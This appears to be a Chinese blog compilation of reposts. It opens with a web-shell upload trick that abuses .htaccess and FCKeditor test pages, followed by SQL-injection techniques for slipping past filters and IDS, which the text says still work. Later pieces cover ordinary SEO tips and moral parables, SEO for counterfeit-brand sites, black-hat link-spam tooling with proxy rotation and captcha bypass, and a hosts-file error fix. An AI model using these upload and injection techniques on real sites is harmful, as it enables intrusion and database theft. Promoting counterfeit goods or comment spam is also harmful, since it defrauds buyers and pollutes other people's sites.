一个htaccess文件安全隐患

代码内容:htaccess文件
<FilesMatch “_php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>

2.实用编辑器上传htaccess文件.

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/browser/default/connectors/test.html

3.上传shell.php.gif
4.上传后shell.php.gif, 会自动被改名为 shell_php.gif
5.访问上传目录/shell_php.gif

通过+号拆解字符串绕过

4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,

 
or ”swords” = N” swords”
 
,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
 
5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如
 
or ”swords” =‘sw” +” ords” ;EXEC(‘IN” +” SERT INTO ”+” …..” )
 
6、通过LIKE绕过
以前怎么就没想到呢?

 
or”swords” LIKE ”sw”
 
显然可以很轻松的绕过“=”“>”的限制……
 
7、通过IN绕过
与上面的LIKE的思路差不多,

 
or ”swords” IN (”swords”)
 
 
8、通过BETWEEN绕过

 
or ”swords” BETWEEN ”rw” AND ”tw”
 
9、通过>或者<绕过
 
or ”swords” > ”sw”
or ”swords” < ”tw”
or 1<3
……
 
10、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
 
11、用HEX绕过,一般的IDS都无法检测出来
 
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
 

PS:

以上相关技巧到现在都还是有效果的,部分方法在不同的网站程序中也都是通用的,大家可以灵活运用

转载:常见seo的获去正规链接的方法

1.权威的内容

把内容写得简单易懂,这样更多的人可以看懂并为你传播。SEO十万个为什么的内容受欢迎就是得益于此。
尽量减少语法或拼写错误,如果想获得权威站点的链接,这一点非常重要。
为站点添加“隐私政策”和“关于我们”页,这样看起来更值得信任。博客的话,放上一张你的照片可以建立权威性。
 2.新闻和聚合

在艾瑞、Donews等IT行业新闻网站发布高质量文章。这些网站的排名很好,除了增加反向链接,还会给你带来高质量的流量。
向行业网站和论坛提交文章。如SEO的研究性文章,提交给SEO信息资料网站或SEOWHY论坛。
发送新闻稿。高质量的新闻稿提交给新闻门户网站。
跟踪发布你文章的站点。给他们提供稿件来源。
与其他网站交换文章发表。
把文章发送给RSS网站如抓虾、鲜果等。
做一个让人觉得自己很重要的调查,比如关于家庭主妇的研究等。如果你让别人觉得自己重要,别人会免费为你宣传。
 3.目录、社会化书签

很老但很有用。把网站提交给DMOZ-开放目录或其他免费目录。
让你的文章加入百度搜藏、雅虎搜藏、Google书签、QQ书签等社会化书签。
让用户通过Google阅读器、RSS等订阅你的文章。 

4.合作伙伴、专业交换

问问你的合作伙伴或商业伙伴是否可以给你一个链接。
与合作伙伴互相推荐链接。
友情链接。
交换链接。但注意与链接养殖场远一点。
用专业与其他网站交换链接。如提供开源程序,采用者会留有链接。(如一些开源程序有一个链接指向)
给内容管理系统CMS或Blog系统等开源网站系统提供免费精美模板。别忘了在模板中添加“由×××设计”。
为开源网站程序开发插件,并留有作者链接。
开发有用的工具,发表并留有下载地址。 

5.免费链接

参与问答平台如百度知道、雅虎知识、问问等等。可以为站点添加链接。
参与相关论坛如Google论坛等。可以为站点添加链接。
参与社会化wiki平台如百度百科,维基百科等的编辑。
Google page建立专业网页并建立指向。 

6.评论

博客的评论,并留有自己的名字和链接。
如果你在网上购买了产品,则把产品评论写下来,会带来链接。你也可以写产品推荐,注意:要写得可信,如果有具体情况最佳。
对专业帖子进行评论,并留有签名指向。 

7.会议和社会关系

行业会议时,拍摄行业名人的照片,并留有你的精彩解说。这可能是很好的链接诱饵。
有意思的有用的访谈很容易成为原创,并迅速传播。

转载:感觉很好的故子

A不喜欢吃鸡蛋,每次发了鸡蛋都给B吃。 刚开始B很感谢,久而久之便习惯了。 习惯了,便理所当然了。 于是,直到有一天,A将鸡蛋给了C,B就不爽了。 她忘记了这个鸡蛋本来就是A的,A想给谁都可以。为此,她们大吵一架,从此绝交。 二、有一年,很热的夏天,一队人出去漂流。   女孩的拖鞋在玩水的时候,把拖鞋掉下去了,沉底了。 到岸边的时候,全是晒的很烫的鹅卵石,他们要走很长的一段路。 于是,女孩儿就向别人寻求帮忙,可是谁都只有一双拖鞋。 女孩心里很不爽,因为她习惯了向别人求助,而只要撒娇就会得到满意地答复。 可是这次却没有。她忽然觉得这些人都不好,都见死不救。 后来,有一个男孩将自己的拖鞋给了她,然后自己赤脚在那晒得滚烫的鹅卵石上走了很久的路。 还自嘲说是铁板烧。 女孩表示感谢,男孩说,你要记住,没有谁是必须要帮你的。 帮你是出于交情,不帮你是应该。 女孩记住了男孩的话,自此以后学会了对施以援手的人铭记在心,并给以更大的回报。   很多时候,我们总是希望得到别人的好。   一开始,感激不尽。 可是久了,便是习惯了。 习惯了一个人对你的好,便认为是理所应当的。 有一天不对你好了,你便觉得怨怼。 其实,不是别人不好了,而是我们的要求变多了。 习惯了得到,便忘记了感恩. 三、傍晚,一只羊独自在山坡上玩。 突然从树木中窜出一只狼来,要吃羊,羊跳起来,拼命用角抵抗,并大声向朋友们求救。 牛在树丛中向这个地方望了一眼,发现是狼,跑走了; 马低头一看,发现是狼,一溜烟跑了; 驴停下脚步,发现是狼,悄悄溜下山坡; 猪经过这里,发现是狼,冲下山坡; 兔子一听,更是一箭一般离去。 山下的狗听见羊的呼喊,急忙奔上坡来,从草丛中闪出,一下咬住了狼的脖子, 狼疼得直叫唤,趁狗换气时,怆惶逃走了。 回到家,朋友都来了, 牛说:你怎么不告诉我?我的角可以剜出狼的肠子。 马说:你怎么不告诉我?我的蹄子能踢碎狼的脑袋。 驴说:你怎么不告诉我?我一声吼叫,吓破狼的胆。 猪说:你怎么不告诉我?我用嘴一拱,就让它摔下山去。 兔子说:你怎么不告诉我?我跑得快,可以传信呀。 在这闹嚷嚷的一群中,唯独没有狗。 真正的友谊,不是花言巧语,而是关键时候拉你的那只手。 那些整日围在你身边,让你有些许小欢喜的朋友,不一定是真正的朋友。 而那些看似远离,实际上时刻关注着你的人,在你快乐的时候,不去奉承你; 你在你需要的时候,默默为你付出、关心你的人,那才是真正的朋友!

转载:对A货仿牌SEO的理解

对仿牌SEO  的理解
首先,这个seo的产品或者网站肯定是涉及到仿牌,不是正规的,正式的产品,是不受法律保护的!拿重点的说
就是用现有的优化技术把仿牌网站在搜索引擎中有好的排名或者好的流量,然后产生好的转换率

这个是别人的理解,也不好说对错。谈谈自己的看法吧:

仿牌SEO说白了,就是“夹缝SEO”,一种在夹缝中生存的技术,不断更新的技术。我想细谈下,大家做仿牌SEO追求的是什么,短,平,快。用最短的时间,创造最大的效益,快速的离场。相信大家今年都遇到过,域名今年集体被K 的现象,这也是没有办法,有市场,就有需求,有需求就有供应,这是个生态链接,就看你怎么掌握了。

做仿牌SEO 你首先要考虑的是几个问题:第一服务器稳定不,对于做SEO的人员来说,服务器不稳定,网站三天两天打不开,你怎么做。

其次:收款通道,这也是做SEO人员应该要考虑的问题,为什么这样说呢,如果你排名上去了,而因为收款通道的问题,导致没有经济效益产生,这对你的心血是不是一种打击呢。

如果这些都相当解决了,再应该是你重点考虑的问题,仿牌SEO我应该如何做,既然行业的特殊性的原因,那我肯定会,想尽一切办法让他,以最快的速度,排名上去。

排名如何能快速的上去,这个应该广大的SEO人员应该要考虑的问题,技巧很重要,但是执行更加重要。

最近感觉很累,可能心态不够好, 我常常心里想,我在编织着谁的梦

转载:机器SEO工具与人肉的优劣对比

先来说说,黑帽SEO工具的优势:

所以的黑帽软件都是使用的:Spin格式- 首先我先要介绍一下spin格式,什么叫spin,翻译过来是“旋转”,它的格式是这样的{word1|word2|word3|word4|…}(比如{漂亮|美丽|好看|靓}),这样的格式有什么用,就是在你使用这段字符的时候,它会自动在这4个词里面随机挑选一个。这是黑帽软件比人工工具有质量的基础之一。
没有spin,那黑帽软件只会让你被惩罚,我用一个具体例子就能说明,现在很多人肉外链员,发布外链可能就随便ctrl+c/v很多链接,好一点的稍微+一些小内容,快速的spam遍各个论坛,博客,分类信息。就算你人工可以制造一些不同,那也非常有限。大量重复样式的外链,被搜索引擎抓住的概率就非常高,但是用了spin格式后,你的url,锚文本,发布的信息,email,用户名,可能都是完全不一样的。在内容上,你spin的质量高,决定了你发布的外链被发现的可能。

代理:所以的黑帽都离开不了代理的使用,这个也是成功的关键,或者说成功率的关键。自己有个wordpress博客的朋友应该知道,在别人发表评论后,你在后台你能看到发布评论的人的IP地址。如果都是一个ip发送的,那你评论被删除的概率也就大大提高。同样,你在注册一些网站发布外链的时候,如果你都是一个IP地址注册的,那你被封号的概率也就大大提高,尤其是在国外的网站上。代理轮换,人工也能做,可是哪怕你用插件,也绝对做不到一些黑帽工具的便利,快捷。

无人值守发布:这个就不用说了,人每天都需要吃喝拉撒,但是机器不用,只需要设置好指令,就可以让他24H为你服务了

上面说的是 黑帽SEO软件的优势,下面来说说黑帽SEO软件的劣势:

不够智能: 就目前我用过的软件来看,没有一款可以说是能说是100%保证发布成功率的。而且很多软件都需要第三方验证码的支持服务,最便宜也是2$- 1000个验证码。XR号称能过验证码,其实也就50~60%的成功率,加上分析验证码的速度之慢,有时还不如手工快一些。同时,一旦网站改版,那软件可就睁眼瞎了。因为按照正常的发布流程,1->2->3->4,一步不能少,突然网站改版,把3这部去掉了。那软件直接把3这步的操作就直接放到4的网站上面去了,发布失败可以说是必然的。然而人工发布,就不怕这个。

内容质量低下:上面说到了spin格式,只是为了降低发布内容相似度,但是对于内容质量本身,却没有任何的改进。乱发广告+重复信息,依旧不能解决外链质量低下的问题。但是人工外链怎么做,至少我做人工外链,我会在认认真真的写好内容,排版,自己做图片,表格,甚至是视频,绝对不会做Ctrl+c/v的工作。因为这些没有任何意义,让人工做这个,还不如让机器做,又快又好。(ps.如果你人工也是ctrl+c/v做外链,那黑帽软件这边就不是劣势了)

操作相当来说复杂:对于一个新出来的可以做外链的网站,人工外链可能1分钟,就能找到发布的方法,但是用软件,可能需要30分钟,才能做好一个脚本或者小工具来发送。而且做的都是前人种树,后人乘凉的工作,你辛辛苦苦写好脚本,别人直接一用就行。自然大部分人心里会很不平衡。而且一个网站上导出链接/垃圾链接太多,链接效果也大大降低,生存率也大大降低。这也是很多人对黑帽软件不甚了解,认为黑帽软件发的都是被发烂的地方。好的工具,自然是越少人用越好。很多市面上流传的资源,都是被发烂的,一定要掌握自己手里的资源。但这确实是很困难的事情,因为你需要大量的精力去整理,探索,研究才能找到。而且很多黑帽工具的操作都比较复杂,对于那些希望“一键发送就等着收钱”的人来说,是决计不肯去碰的。

可笑的是,现在很多人做着黑帽工具SEO模式的外链,却在鄙视着黑帽工具,标榜自己是白帽SEO。这是非常可笑的,如果是真正的白帽SEO:首先考虑用户会不会来点击你的链接。而不是考虑搜索引擎。

英语对英文外贸SEO重要吗

做外贸推广做外贸英文seo是一件比较难的事情,首先来说英文的外链资源,博客都是不大好找的。加上网络封锁和英文语言的不熟悉,大多数做英文seo开始都是一抓瞎。不知道怎么开始。现在我们开始英文SEO教学课程第一课,英语对英文SEO重要吗?

很多人不敢做外贸英文SEO就是迈不过英文这一关。其实我可以负责人的告诉你,英语水平对于外贸英文SEO来说是不那么重要的。当然也不能完全没有英文基础。毕竟英文SEO是针对英语来进行操作的。那么英语水平不高怎么办呢?我们就要借助工具来完成了,只要你对英语的基本语法了解。工具可以帮你完成一切。

英文SEO工具一、谷歌浏览器(Google Chrome) 这款浏览器集成了google翻译,能够完成多语言的在线翻译。用这个浏览器浏览英文网页,你可以把英文直接翻译成英文来浏览。

英文SEO工具二、网易有道翻译软件。这款翻译软件能查找单词和翻译文章,简直是英文SEO,外贸营销推广之必备利器啊。

网站访问出现 msxml3.dll 错误 ’80072ee7′的一些处理办法

(1)msxml3.dll错误 ’

The server name or address could not be resolved /inc/vbfun.asp,行 23 个人处理方法是:一般是被 插入代码或木马影响出现.

(2) 错误 ’80072efd’

A connection with the server could not be established

/inc/bfun.asp,行 56

个人处理方法是:一般是无法采集导致出现的问题.

网上的解决————————————————– -

解决方式:

出错信息为:The server name … address could not be resolved

原因:受控域名没有解析或者您所用的dns不稳定造成的。

分析:如果您的主控服务器上无法解析受控网址,就会造成上面的错误

。例如您用的是注册商的dns,也有可能是注册商的dns当了才造

成上面的错误。

解决:您可以在主控服务器上,用IE打开受控网址,看看能不能访问?

如果不能访问,就要检查域名解析是否正常?如果您的域名解析

商的DNS经常性的不稳定,您可以在主控服务器上修改hosts文

件来强行解析:

在主控服务器上,

用记事本打开C:\WINDOWS\system32\drivers\etc\hosts

IP1 受控域名1

IP2 受控域名2

加在最下面的一行.

保存以后,域名就会马上就生效了。

DOS下直接写入:
echo xxx.xxx.xxx.xxx  www.baidu.com >>C:\WINDOWS\system32\drivers\etc\hosts